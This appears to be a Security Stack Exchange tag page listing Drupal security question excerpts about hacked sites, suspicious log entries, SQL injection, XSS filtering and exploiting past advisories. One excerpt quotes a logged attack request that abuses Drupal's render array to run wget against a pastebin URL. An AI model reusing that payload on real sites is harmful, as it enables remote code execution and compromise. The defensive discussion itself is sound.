Questions tagged [drupal]

Security questions related to Drupal.

Filter by
Sorted by
Tagged with
0 votes
0 answers
43 views

Data integrity protection in Drupal 10.x - how lock conditions might fail

I was doing some pentesting on a Drupal 10.x application that some colleagues built; I have not reviewed the source code. The dynamic vulnerability scanner I use provoked some exceptions related to a ...
Keith Douglas's user avatar
2 votes
0 answers
67 views

What does this potentially malicious php code do? [duplicate]

Somebody hacked my webserver and uploaded many of the following files with random names in different subdirectories of my webroot. The file looks something like this and - even though I managed to ...
JohnTheWalker's user avatar
0 votes
1 answer
683 views

PHP code in image file

My drupal website was getting hacked recently. While cleaning up the malicious scripts, I found that the hacker uploaded an image file (sites/default/files/test.jpg) contains below code. ...
cww's user avatar
  • 187
0 votes
0 answers
207 views

Drupal 8 - Create REST API vulnerable to SQL Injection for CTF purposes

Recently I started creating a CTF challenge based on Drupal 8. I want to create a REST API parameter that will be vulnerable to SQLi. Even if this isn't something I should ask for here, I decided to ...
Com's user avatar
  • 1
1 vote
1 answer
825 views

Session sync between two web apps on the same domain

I have a Laravel 6 site, and a legacy Drupal 7 site. Both are served under the same domain, and both share the same user database table. I'd like users to be able to log in via Laravel (never via ...
jeff-h's user avatar
  • 113
2 votes
0 answers
94 views

Drupal logs are reporting 404s from bot visits but I have apache basic auth set up

In the Drupal logs on my dev site there are "page not found" reports that are obviously from a bot trying out well known urls (e.g. /wp-login). But I have set up apache basic auth and I am the only ...
naomi's user avatar
  • 121
3 votes
2 answers
2k views

Should I be worried about these Drupal 7 username attack attempts?

In my logs I see regular attempts, a few times a day like these ones: http://www.example.com/user/password?name[%23post_render][0]=exec&name[%23markup]=wget+https%3a%2f%2fpastebin.com%2fraw%...
MMT's user avatar
  • 97
6 votes
1 answer
2k views

Drupal 7 - attack in the logs

In my Drupal 7 logs I see entries such as: http://example.com/?q=file/ajax/name/%23value/form-tkSDwR6W66a8vR_AIDxAzwMVklkjTkNMjf8SEqfTX8Q There are several entries like this one, with only the last ...
MMT's user avatar
  • 97
8 votes
1 answer
187 views

Why am I getting url requests for pages I never had on my site?

On my Drupal site I'm getting strange requests for url paths that I have never had and have nothing to do with my site. Could some one explain why people (or bots) are looking for the following urls? ...
Patrick W. McMahon's user avatar
2 votes
1 answer
259 views

is OSSEC effective in protecting a Drupal installation?

I noticed that the 2.8.1 rules have wordpress and other products listed, but no Drupal rules. Is its safe to assume OSSEC, acting like an IPS in active mode, is just not going to block any Drupal ...
DrZaiusApeLord's user avatar
1 vote
0 answers
281 views

Is it dangerous to append search query to the base URL?

I'm testing drupal website and I've noticed that search query gets appended to the base URL in the response, like so: query: "hey ho: there" http://www.baseurl.com/search/node/hey ho%3A there query: ...
Mercurial's user avatar
  • 111
1 vote
1 answer
134 views

How much access to the file system does the recent Drupal vulnerability give?

A friends drupal site was hacked. What is strange is that the root directory of the installation at the hosting company (let us call it rootdir) was copied (or renamed) rootdir_hacked and the ...
Bent's user avatar
  • 174
3 votes
3 answers
509 views

Drupal SQLi only on login form?

Recently, CVE-2014-3704 was in the news. This vulnerability allows attackers to execute SQLi without the need of being logged in. However, I've looked to the available exploits, and I found only ...
f4der's user avatar
  • 131
0 votes
0 answers
197 views

drupal external authentication - how to handle password?

I need to implement an architecture someone else designed. They have a drupal as user interacting component, and an external authentication module. To authenticate, from drupal, username and ...
transient_loop's user avatar
0 votes
2 answers
617 views

website hacked - phishing form

My Drupal 7.28 site has been hacked through the the tmp dir which was not protected by .htaccess file. The hacker managed to delete the main .htaccess file and upload some bogus google docs 2014 ...
mark.sasson7's user avatar
21 votes
4 answers
11k views

What are the security threats of zip file uploads and what preventive actions should be taken?

We have a Drupal application developed for sharing files. We are allowing zip files to be uploaded by logged in departmental user. We are using Drupal private file system (outside webroot). We are ...
msmani's user avatar
  • 311
2 votes
1 answer
3k views

ALERT - ASCII-NUL chars not allowed within request variables

In a Drupal site, I get this error in my Debian's syslog: suhosin[9413]: ALERT - ASCII-NUL chars not allowed within request variables - dropped variable 'name' (attacker 'x.x.x.x', file '/path/...
hnn's user avatar
  • 1,037
9 votes
2 answers
2k views

Drupal filters XSS with regexes. What could bypass it?

Drupal filters HTML strings against XSS attacks using regexes: http://api.drupal.org/api/drupal/includes%21common.inc/function/filter_xss/7 However, as a lot of people know, HTML can't be parsed with ...
Florian Margaine's user avatar
2 votes
3 answers
3k views

How to exploit DRUPAL-SA-CORE-2012-003

I have read the security notices and understand that it "would allow an attacker to reinstall an existing Drupal site with an external database server and then execute custom PHP code". According to ...
Digital fire's user avatar
  • 3,186
6 votes
2 answers
477 views

Drupal Disputed CVE Five Year Tempest – Open Source Security Shortfall?

Can someone add context to the subject issue? At first glance it appears to me this issue represents a fundamental shortfall in the forces encouraging secure coding in open source development. Is ...
zedman9991's user avatar
  • 3,387